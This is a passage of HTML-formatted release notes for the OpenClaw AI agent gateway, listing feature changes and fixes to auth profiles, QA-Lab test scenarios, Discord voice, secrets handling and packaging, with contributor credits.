<li>CLI/models: let <code>openclaw models auth login</code> store a single returned provider auth profile under a requested <code>--profile-id</code>, and document named Codex OAuth profile setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091898835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49315" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49315/hovercard" href="https://github.com/openclaw/openclaw/pull/49315">#49315</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DanielLSM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DanielLSM">@DanielLSM</a>.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itskai-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itskai-dev">@itskai-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gwh7078/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gwh7078">@gwh7078</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longstoryscott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longstoryscott">@longstoryscott</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoeJaberr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoeJaberr">@MoeJaberr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yuaiccc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yuaiccc">@yuaiccc</a>.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BobDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BobDu">@BobDu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alitariksahin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alitariksahin">@alitariksahin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jefsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jefsky">@Jefsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/musaabhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/musaabhasan">@musaabhasan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmerZeyveli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmerZeyveli">@OmerZeyveli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/majin1102/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/majin1102">@majin1102</a>.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drclaw-iq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drclaw-iq">@drclaw-iq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexgduarte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexgduarte">@alexgduarte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassthebandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassthebandit">@cassthebandit</a>.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Diagnostics: emit sanitized <code>secrets.prepare</code> timeline spans for Gateway secret preparation so operators can distinguish secret startup latency without exposing provider names, secret ids, or secret values. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Diagnostics: export bounded skill usage metrics/spans and tool source/owner labels for core, plugin, MCP, and channel tool execution without exposing raw paths or session identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravprasadgp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravprasadgp">@gauravprasadgp</a>.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501180539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85283" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85283/hovercard" href="https://github.com/openclaw/openclaw/pull/85283">#85283</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Maintainer skills: require clean autoreview before surfacing bug-sweep PR URLs and treat changelog-only conflicts as routine busy-main churn.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
<li>Plugin SDK/cron delivery: route cron delivery through the modern target resolver and outbound session-route APIs, deprecate parser-backed target helpers and <code>plugin-sdk/messaging-targets</code>, and move bundled callers to <code>plugin-sdk/channel-targets</code>.</li>
<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501761454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85302/hovercard" href="https://github.com/openclaw/openclaw/pull/85302">#85302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500085034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85237/hovercard" href="https://github.com/openclaw/openclaw/pull/85237">#85237</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331787394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72343/hovercard" href="https://github.com/openclaw/openclaw/pull/72343">#72343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84189/hovercard" href="https://github.com/openclaw/openclaw/pull/84189">#84189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499295136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85182/hovercard" href="https://github.com/openclaw/openclaw/pull/85182">#85182</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489637163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84693" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84693/hovercard" href="https://github.com/openclaw/openclaw/pull/84693">#84693</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481133270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84324/hovercard" href="https://github.com/openclaw/openclaw/pull/84324">#84324</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415102376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80176/hovercard" href="https://github.com/openclaw/openclaw/issues/80176">#80176</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416567023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80395/hovercard" href="https://github.com/openclaw/openclaw/issues/80395">#80395</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473904192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83872" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83872/hovercard" href="https://github.com/openclaw/openclaw/pull/83872">#83872</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415100585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80174/hovercard" href="https://github.com/openclaw/openclaw/issues/80174">#80174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491926618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84816/hovercard" href="https://github.com/openclaw/openclaw/pull/84816">#84816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484275654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84493/hovercard" href="https://github.com/openclaw/openclaw/pull/84493">#84493</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Gateway/update: avoid fetching unrelated tags during dev-channel git updates so moved release tags do not block branch-based updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490745188" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84737/hovercard" href="https://github.com/openclaw/openclaw/pull/84737">#84737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>CLI/update: suppress the expected future-config warning while an old update parent hands off to the freshly installed post-core process.</li>
<li>MiniMax: store OAuth token expiry as an absolute millisecond timestamp so OAuth profiles no longer appear expired on every request. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466890226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83480/hovercard" href="https://github.com/openclaw/openclaw/pull/83480">#83480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/Anthropic: strip missing or blank thinking signatures for signed-thinking providers even when recovery supplies a narrow replay policy without signature preservation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483026927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84430" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84430/hovercard" href="https://github.com/openclaw/openclaw/issues/84430">#84430</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483407420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84448/hovercard" href="https://github.com/openclaw/openclaw/pull/84448">#84448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/channels: send a visible notice when an aborted main session cannot be resumed after restart, including Telegram group targets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509360796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85805" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85805/hovercard" href="https://github.com/openclaw/openclaw/pull/85805">#85805</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a>.</li>
<li>Discord/voice: serialize overlapping voice joins, retry aborted startup readiness within the configured timeout, upgrade meeting-notes-only sessions to realtime when the normal follow join arrives, detach promoted meeting-notes ownership without leaving voice, and include <code>OpenClaw</code> in default realtime wake names.</li>
<li>Gateway/restart: honor the configured restart drain budget for embedded runs and avoid spending the deferral timeout twice after forced restart timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507967040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85708/hovercard" href="https://github.com/openclaw/openclaw/pull/85708">#85708</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Gateway/boot: run <code>BOOT.md</code> startup checks in an isolated boot session so gateway restarts do not overwrite the agent's main session mapping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504750110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85479/hovercard" href="https://github.com/openclaw/openclaw/pull/85479">#85479</a>)</li>
<li>Meeting Notes: include a speaker-labeled transcript section in generated summaries so Discord group voice captures show who said each captured utterance.</li>
<li>Discord/voice: recover stale realtime playback state when Discord stream-close/player-idle events do not arrive, and keep generated runtime plugin aliases available after postbuild rewrites.</li>
<li>Discord/voice: keep realtime playback running when meeting notes attaches to an existing voice session or a realtime consult starts, and route realtime user transcripts into meeting notes.</li>
<li>Config/secrets: preflight active runtime SecretRefs before root and include config writes persist, and roll back unchanged file/env state when post-write refresh fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076550684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46531" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46531/hovercard" href="https://github.com/openclaw/openclaw/issues/46531">#46531</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483477091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84454/hovercard" href="https://github.com/openclaw/openclaw/pull/84454">#84454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: preserve SecretRef-backed custom provider <code>apiKey</code> markers when <code>models status</code> regenerates <code>models.json</code>, avoiding resolved plaintext secrets on disk. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488302083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84632" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84632/hovercard" href="https://github.com/openclaw/openclaw/issues/84632">#84632</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488645548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84658/hovercard" href="https://github.com/openclaw/openclaw/pull/84658">#84658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>WhatsApp/auto-reply: deliver deferred media replies through the foreground reply fence so overlapping no-reply turns no longer hide already visible responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505746494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85517/hovercard" href="https://github.com/openclaw/openclaw/pull/85517">#85517</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cavit99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cavit99">@cavit99</a>.</li>
<li>Sessions/security: replace agent-to-agent wildcard allowlist regexes with a precompiled linear matcher so cross-agent access checks avoid backtracking-prone patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>WebChat: keep the run-complete indicator in progress until deferred history replay renders the assistant reply, so Done no longer appears before response text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503058453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85374" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85374/hovercard" href="https://github.com/openclaw/openclaw/issues/85374">#85374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
